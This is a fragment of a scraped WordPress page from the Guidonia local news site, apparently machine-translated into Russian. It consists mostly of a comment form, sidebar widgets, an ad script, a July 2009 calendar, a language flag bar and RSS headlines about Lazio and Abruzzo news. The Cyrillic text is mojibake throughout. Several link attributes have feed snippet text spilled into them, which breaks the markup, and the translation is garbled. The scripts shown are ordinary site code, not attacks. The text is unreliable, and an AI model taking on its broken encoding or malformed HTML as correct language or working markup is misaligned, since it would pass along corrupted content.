Ð² ÑÐµÑÐµÐœÐžÐµ ÐœÐµÑÐºÐŸÐ»ÑÐºÐžÑ
+ ÐŒÐµÑÑÑÐµÐ² ÐŸÐœ Ð¿ÑÐŸÐŽÐŸÐ»Ð¶Ð°Ð»,</font> ÐœÐŸ <font size=-1>Ð±ÐµÐ·ÑÑÐ¿ÐµÑÐœÐŸ, ÐŽÐŸÐ±ÐžÑÑÑÑ Ð°Ð»ÑÑÐœÑÐ°. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dp3-KeU4Jhn_l8M"><font class=p size=-1><b>Ð¿ÐŸÐŽÑÐŸÐ±ÐœÐµÐµ Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > ÐÑÑÐ°Ð²ÐžÑÑ ÐÑÐ²ÐµÑÐžÑÑ</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6295#respond style=display:none;&lang=ru" ><small>ÐÐ°Ð¶ÐŒÐžÑÐµ, ÑÑÐŸÐ±Ñ ÐŸÑÐŒÐµÐœÐžÑÑ ÐŸÑÐ²ÐµÑ.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>ÐÐŒÑ (ÐŸÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÐŸ)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (ÐœÐµ Ð±ÑÐŽÐµÑ ÐŸÐ¿ÑÐ±Ð»ÐžÐºÐŸÐ²Ð°ÐœÐŸ) (ÐŸÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÐŸ)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>ÐÐµÐ±-ÑÐ°Ð¹Ñ</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>ÐÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐž</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="ÐÐŸÐ±Ð°Ð²ÐžÑÑ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐ¹" class=box /><input type=hidden name=comment_post_ID value=6295 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">ÐÐŸÐ»ÑÐ±ÐŸÐ¹</a> <a href="http://www.guidonia.net/">Ð ÐŸÐ·ÐŸÐ²ÑÐ¹</a> <a href="http://www.guidonia.net/">ÐÐµÐ»ÐµÐœÑÐ¹</a> <a href="http://www.guidonia.net/">Ð€ÐžÐŸÐ»ÐµÑÐŸÐ²ÑÐ¹</a> <a href="http://www.guidonia.net/">ÐÑÐ°ÑÐœÑÐ¹</a></span> </p><div class="about box"><h3> <span  > ÐÐœÑÐŸÑÐŒÐ°ÑÐžÑ</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: ÐžÐŽÐµÐž ÐŽÐ»Ñ Ð²ÐµÐ±</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>ÐÐŽÐµÐž Ð² Ð¿ÐŸÐžÑÐºÐ°Ñ
+ ÑÐžÐœÐ°ÐœÑÐžÑÐŸÐ²Ð°ÐœÐžÑ: <a href=mailto:info@guidonia.net>ÑÐ²ÑÐ¶ÐžÑÐµÑÑ Ñ ÐœÐ°ÐŒÐž</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐŸÑÑÐ°ÐœÐŸÐ²ÐžÑÑÑÑ aÄ¡Ä¡ornata ÑÐµÑÐµÐ· <a href="http://www.guidonia.net/wp?feed=rss2&lang=ru" >RSS ÐºÐ°ÐœÐ°Ð».</a></span> </div><div class=col><div class=box><h3> <span  > ÐÐžÐŽÐµÐŸ ÐŸ Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="ÐÐ°ÐœÑÐ°ÑÐŽÐŸÑ Guidonia ÑÐµÐœÑÑ" src=http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ÐŸÐ±ÑÑÐ²Ð»ÐµÐœÐžÑ.</span> <span  > ÐÐžÐ°Ð»Ðµ Ð ÐŸÐŒÐ° Ðž Ð¶ÐµÐ»ÐµÐ·ÐœÐŸÐŽÐŸÑÐŸÐ¶ÐœÐŸÐ³ÐŸ Ð²ÐŸÐºÐ·Ð°Ð»Ð° ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ð€Ð°Ð±ÑÐžÑÐžÐŸ ÐÐŸÑÐŸ - Ð¡Ð»ÐŸÐ²Ð° Ðž Ð·Ð²ÑÐºÐž Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > ÐÑÑÐŸÑÐºÐž Ð»ÐµÐ³ÐµÐœÐŽÐ°ÑÐœÐŸÐ³ÐŸ ÐºÐŸÐœÑÐµÑÑÐ° ÐœÐ° ÐŒÐŸÑÐµ Guidonia ÐŸÑ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ð€Ð°Ð±ÑÐžÑÐžÐŸ ÐÐŸÑÐŸ - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > ÐÑÑÐŸÑÐºÐž Ð»ÐµÐ³ÐµÐœÐŽÐ°ÑÐœÐŸÐ³ÐŸ ÐºÐŸÐœÑÐµÑÑÐ° ÐœÐ° ÐŒÐŸÑÐµ Guidonia ÐŸÑ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ð€Ð°Ð±ÑÐžÑÐžÐŸ ÐÐŸÑÐŸ - Ð¡ÐŒÑÑÐ» ÐÑÐµ - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > ÐÑÑÐŸÑÐºÐž Ð»ÐµÐ³ÐµÐœÐŽÐ°ÑÐœÐŸÐ³ÐŸ ÐºÐŸÐœÑÐµÑÑÐ° ÐœÐ° ÐŒÐŸÑÐµ Guidonia ÐŸÑ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ð€Ð°Ð±ÑÐžÑÐžÐŸ ÐÐŸÑÐŸ - ÐÐµ ÐžÐŒÐ¿ÐŸÑÑÐ° - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > ÐÑÑÐŸÑÐºÐž Ð»ÐµÐ³ÐµÐœÐŽÐ°ÑÐœÐŸÐ³ÐŸ ÐºÐŸÐœÑÐµÑÑÐ° ÐœÐ° ÐŒÐŸÑÐµ Guidonia ÐŸÑ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > ÐÐ±ÑÑÐ²Ð»ÐµÐœÐžÑ</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > ÐÑÐ»Ñ: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="Ð¿ÐŸÐœÐµÐŽÐµÐ»ÑÐœÐžÐº"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="Ð²ÑÐŸÑÐœÐžÐº"> <span  > Ð</span> </th><th abbr="mercoledÃ¬" scope=col title="Ð¡ÑÐµÐŽÐ°"> <span  > Ð</span> </th><th abbr="giovedÃ¬" scope=col title="ÑÐµÑÐ²ÐµÑÐ³"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="Ð¿ÑÑÐœÐžÑÐ°"> <span  > V</span> </th><th abbr=sabato scope=col title="Ð¡ÑÐ±Ð±ÐŸÑÐ°"> <span  > S</span> </th><th abbr=domenica scope=col title="Ð²ÐŸÑÐºÑÐµÑÐµÐœÑÐµ"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=ru" >Â«ÐÑÐœÑ</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=ru" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=ru" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=ru" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > ÐÐµÑÐµÐ²ÐŸÐŽÑÐžÐº</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6295' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6295&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6295&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6295&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6295&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6295&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6295&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6295&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6295&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6295&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6295&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6295&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6295&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6295&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="ÐÐŸÐŽÐ¿ÐžÑÐºÐ° ÐœÐ° ÐºÐŸÐœÑÐµÐœÑ"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6295&lang=ru" >ÐÑÑÑÑÐ°Ñ Ð±Ð»ÐŸÐ³ ÐœÐŸÐ²ÐŸÑÑÐµÐ¹</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/#39;Ð²ÑÐµÑÐ° Ð²ÐµÑÐµÑÐŸÐŒ), ÑÐŸ Ð¡ÐÐ Ð³ÐŸÑÐŸÐŽÑÐºÐŸÐ³ÐŸ ÑÐŸÐ²ÐµÑÐœÐžÐºÐ° Ðž ÑÐ»ÐµÐœÐ° Ð¡ÐŸÐ²ÐµÑÐ° ÐÐµÐ·ÐŸÐ¿Ð°ÑÐœÐŸÑÑÐž, ÐÐŸÐŒÐžÑÐµÑ, ÐÑÐŽÐŸÐ²ÐžÐº Todini ÑÐºÐ°Ð·Ð°Ð»: &quot;Primavalle, Guidonia Ardeatina Ðž Ð¿ÐŸÑÑÐŸÐŒÑ ÑÑÐŸÑ ÑÐ¿ÐžÑÐŸÐº ÐŒÐŸÐ¶ÐœÐŸ Ð¿ÑÐŸÐŽÐŸÐ»Ð¶ÐžÑÑ ÐžÐ·ÐœÐ°ÑÐžÐ»ÐŸÐ²Ð°ÐœÐžÐ¹ ÐœÐ° ÐµÐ¶ÐµÐŽÐœÐµÐ²ÐœÐŸÐ¹, Ð¶ÐµÑÑÐ²Ð°ÐŒÐž ÐºÐŸÑÐŸÑÐŸÐ¹ Ð±ÑÐŽÐµÑ ... ÐÐµÑÐºÐž: Louis primavalle Todini Guidonia ÐÐÐ¡ [...]"">Comune ÐŽÐž Ð ÐŸÐŒÐ° - Todini (Ð¡ÐÐ): ÐžÐ·ÐœÐ°ÑÐžÐ»ÐŸÐ²Ð°ÐœÐžÑ, ÐžÐ·ÐŒÐµÑÐµÐœÐžÑ ÐžÐ»Ðž Ð·Ð°Ð¿ÐŸÐ»ÐœÑÐµÑ</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Ð ÐŸÐŒÐ° Tiburtina - ÐÐµÐ»ÐµÐ·ÐœÐŸÐŽÐŸÑÐŸÐ¶ÐœÐ°Ñ Ð»ÐžÐœÐžÑ ÐžÐ· &quot;outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL ÑÐŸÐŒÐ° G: Ð¿ÑÐŸÑÐžÐ»Ð°ÐºÑÐžÐºÐ° Ðž Ð±ÐµÐ·ÐŸÐ¿Ð°ÑÐœÐŸÑÑÑ ÐœÐ° ÑÐ°Ð±ÐŸÑÐµÐŒ ÐŒÐµÑÑÐµ</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">ÐÐµÐœÑÐžÐœÐ° ÑÐ±ÐžÑÐ° ÐŒÐŸÐ»ÐœÐžÐµÐ¹ Ð² ÐÐ°ÑÐžÐŸ</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Ðž Ð·Ð°ÑÐµÐŒ Ð² &quot;L&#39;Aquila, ÐŽÐŸÐŒÐ° Ð±ÐµÐ· ÑÐµÐŒÐµÐœÑÐ°. ÐÐŸÑ ÐŽÐŸÐºÐ°Ð·Ð°ÑÐµÐ»ÑÑÑÐ²Ð°. &quot; Ð ÐÐ°Ð¿ÐžÑÐ°Ð», Ð­ÐœÑÐŸ Cappucci, Ð±ÑÐ» Ð²ÑÐºÐŸÐ¿Ð°Ðœ ÐœÐ° ÑÐµÐ±ÐµÐœÑ Ð² ÑÐµÐ³ÐžÐŸÐœÐµ ÐÐ±ÑÑÑÑÐŸ Ðž ÐœÐ°ÑÐµÐ» ÐŽÐŸÐºÐ°Ð·Ð°ÑÐµÐ»ÑÑÑÐ²Ð° Ð»ÐµÐ³ÐºÐŸÑÑÑ, ÐŸÑÑÑÑÑÑÐ²ÐžÐµ ÐºÐŸÐœÑÑÐŸÐ»Ñ, ÑÐ³ÐŸÐ»ÐŸÐ²ÐœÐŸÐµ ÐœÐµÐ±ÑÐµÐ¶ÐœÐŸÑÑÑ, Ñ ÐºÐŸÑÐŸÑÐŸÐ¹ ÐŒÐœÐŸÐ³ÐžÐµ ÐŽÐŸÐŒÐ° Ð±ÑÐ»Ðž Ð¿ÐŸÑÑÑÐŸÐµÐœÑ. The ... ÐÐµÑÐºÐž: Ð­ÐœÑÐŸ ÐºÐŸÐ»Ð¿Ð°ÐºÐ°ÐŒÐž Abruzzo RaiNews24 Rai ÑÐŸÐŒÐ° Ð² [...]"">Ð Ð°Ð¹ ÐœÐ° ÑÐµÐŒÐµÐœÑ</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, ÐŽÐŸÐŒÐ° Ð±ÐµÐ· ÑÐµÐŒÐµÐœÑÐ°. ÐÐŸÑ ÐŽÐŸÐºÐ°Ð·Ð°ÑÐµÐ»ÑÑÑÐ²ÐŸ&#39;&#39;. ÐÑÐ¿ÑÐ°Ð²Ð»ÐµÐœÐœÐŸÐµ Ð² Rainews24, Ð­ÐœÑÐŸ Cappucci, Ð±ÑÐ» Ð²ÑÐºÐŸÐ¿Ð°Ðœ ÐœÐ° ÑÐµÐ±ÐµÐœÑ Ð² ÑÐµÐ³ÐžÐŸÐœÐµ ÐÐ±ÑÑÑÑÐŸ Ðž ÐœÐ°ÑÐµÐ» ÐŽÐŸÐºÐ°Ð·Ð°ÑÐµÐ»ÑÑÑÐ²Ð° Ð»ÐµÐ³ÐºÐŸÑÑÑ, ÐŸÑÑÑÑÑÑÐ²ÐžÐµ ÐºÐŸÐœÑÑÐŸÐ»Ñ, ÑÐ³ÐŸÐ»ÐŸÐ²ÐœÐŸÐµ ÐœÐµÐ±ÑÐµÐ¶ÐœÐŸÑÑÑ, Ñ ÐºÐŸÑÐŸÑÐŸÐ¹ ÐŒÐœÐŸÐ³ÐžÐµ ÐŽÐŸÐŒÐ° Ð±ÑÐ»Ðž ... ÐÐµÑÐºÐž: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, ÐŽÐŸÐŒÐ° Ð±ÐµÐ· ÑÐµÐŒÐµÐœÑ&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">ÐÐŸÐŸÑÑÐ¶ÐžÐ²ÑÐžÑÑ Ð¿ÐžÑÑÐŸÐ»ÐµÑÐŸÐŒ ÐŸÐ³ÑÐ°Ð±ÐžÐ» Ð°ÐœÑÐžÐºÐ²Ð°ÑÐœÐ°Ñ Ð² Ð³ÐŸÑÑÐžÐœÐžÑÐµ</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Ð 23 ÐžÑÐ»Ñ Ð¿ÐŸÐŽÐ¿ÐžÑÐºÐž ÐœÐ° ÑÐµÐ³ÐžÐŸÐœÐ°Ð»ÑÐœÑÐµ C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Ð£Ð¿ÑÐ°Ð²Ð»ÐµÐœÐžÐµ Ð¿ÐŸÑÐ»Ðµ ÐŸÐ¿ÐµÑÐ°ÑÐžÐž Ð±ÐŸÐ»Ðž Ð²ÑÐžÐ³ÑÑÐ²Ð°ÐµÑ &quot;, Ðž ÑÐŸÐº-ÑÑÑÐµÐ¹Ñ &#39;e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">ÐÐµÐœÑÐžÐœÑ Ðž ÐŽÐµÐŒÐŸÐºÑÐ°ÑÐžÑ.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Ð¡ÑÑÐ°Ñ
+, Ð»ÐŸÐ¶Ñ Ðž &quot;ÐŒÐžÑ&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;ÐœÐ°ÑÐµÐ»ÐµÐœÐžÐµ&#39; ÑÑÐµÐ±ÑÐµÑ ... Ð¢ÐµÐ³Ðž: ÐŒÐŸÑÐœÐŸÑÑÑ Circeo ÐŽÐŸÐŒÐŸÐ¹ Ð²ÑÑÑÐ°Ð²ÐºÐž Donatella Ñ [...]"">ÐÐµÐœÑÐžÐœÑ Ðž ÐŽÐµÐŒÐŸÐºÑÐ°ÑÐžÑ.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;ÐœÐ°ÑÐµÐ»ÐµÐœÐžÐµ&#39; ÑÑÐµÐ±ÑÐµÑ ... Ð¢ÐµÐ³Ðž: ÐŒÐŸÑÐœÐŸÑÑÑ Circeo ÐŽÐŸÐŒÐŸÐ¹ Ð²ÑÑÑÐ°Ð²ÐºÐž Donatella Ñ [...]"">Ð¡ÑÑÐ°Ñ
+, Ð»ÐŸÐ¶Ñ Ðž &quot;ÐŒÐžÑ&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Ð¢ÑÐ°ÐœÑÑÐŸÑÐŒÐ°ÑÐŸÑÑ Ð¿ÑÐµÐŒÑÐµÑÑ Ð² ÑÐµÑÐ²ÐµÑÐ³ 25 ÐžÑÐœÑ Ð² ÐºÐžÐœÐŸÑÐµÐ°ÑÑÐµ</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;ÐŸÐŽÐžÐœÐŸÑÐœÐŸÐ³ÐŸ&#39; ÐÐœÑÐŸÐœÐžÐŸ ÐÐŸÐŒÐ±Ð°ÑÐŽÐž affannosa ÑÐ²Ð»ÑÐµÑÑÑ Ð²ÐŸÑÑÑÐ°ÐœÐŸÐ²Ð»ÐµÐœÐžÐµ, Ð·ÐŽÐµÑÑ Ð² Ð¿ÐµÑÐ²ÑÑ Ð³Ð°Ð»ÐŸÑÐºÑ ÑÑÐžÑÑ. Ð Ð¿ÑÐµÑÑÐµ Ð¿ÑÐµÑÑÐµ Ðž Ð²ÑÐµÐ³ÐŽÐ° Ð²ÐŸÐ²ÑÐµÐŒÑ, Ð¿ÐŸÑÐ²ÐžÐ»ÐžÑÑ ÐœÐ° ÑÐ°Ð¹ÑÐµ ÐžÐ· Ð³ÑÐ°ÐœÐ°ÑÐ° ÐºÐ»ÑÐ±, ÑÐŸÐ¿ÑÐŸÐ²ÐŸÐ¶ÐŽÐ°ÐµÑÑÑ ÐŸÐ±ÑÑÐœÐŸ ÐŸÐ±ÑÑÑÐœÐµÐœÐžÑ Ð² ÐŸÐ±ÑÑÐŽÐµ, Ð² ÐœÐ°ÑÑÐŸÑÑÐµÐµ Ð²ÑÐµÐŒÑ ÐŸÑÐžÑÐžÐ°Ð»ÑÐœÐŸ ÐœÐ° Ð¿ÑÐµÑÑ-Ð·Ð°Ð¿ÐžÑÐºÐ° ... Ð¢ÐµÐ³Ðž: Luca genoas Fusco Rozzano Ð¢ÐŸÐŒÐŒÐ°ÑÐŸ ÐÐµÑÐœ [...]"">Salernitana: Diesse ÐÐºÑÐž, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">ÐÑÐ±ÐŸÑÑ Ðž Guidonia ÐÑÑÐŸÑÐœÐžÐº 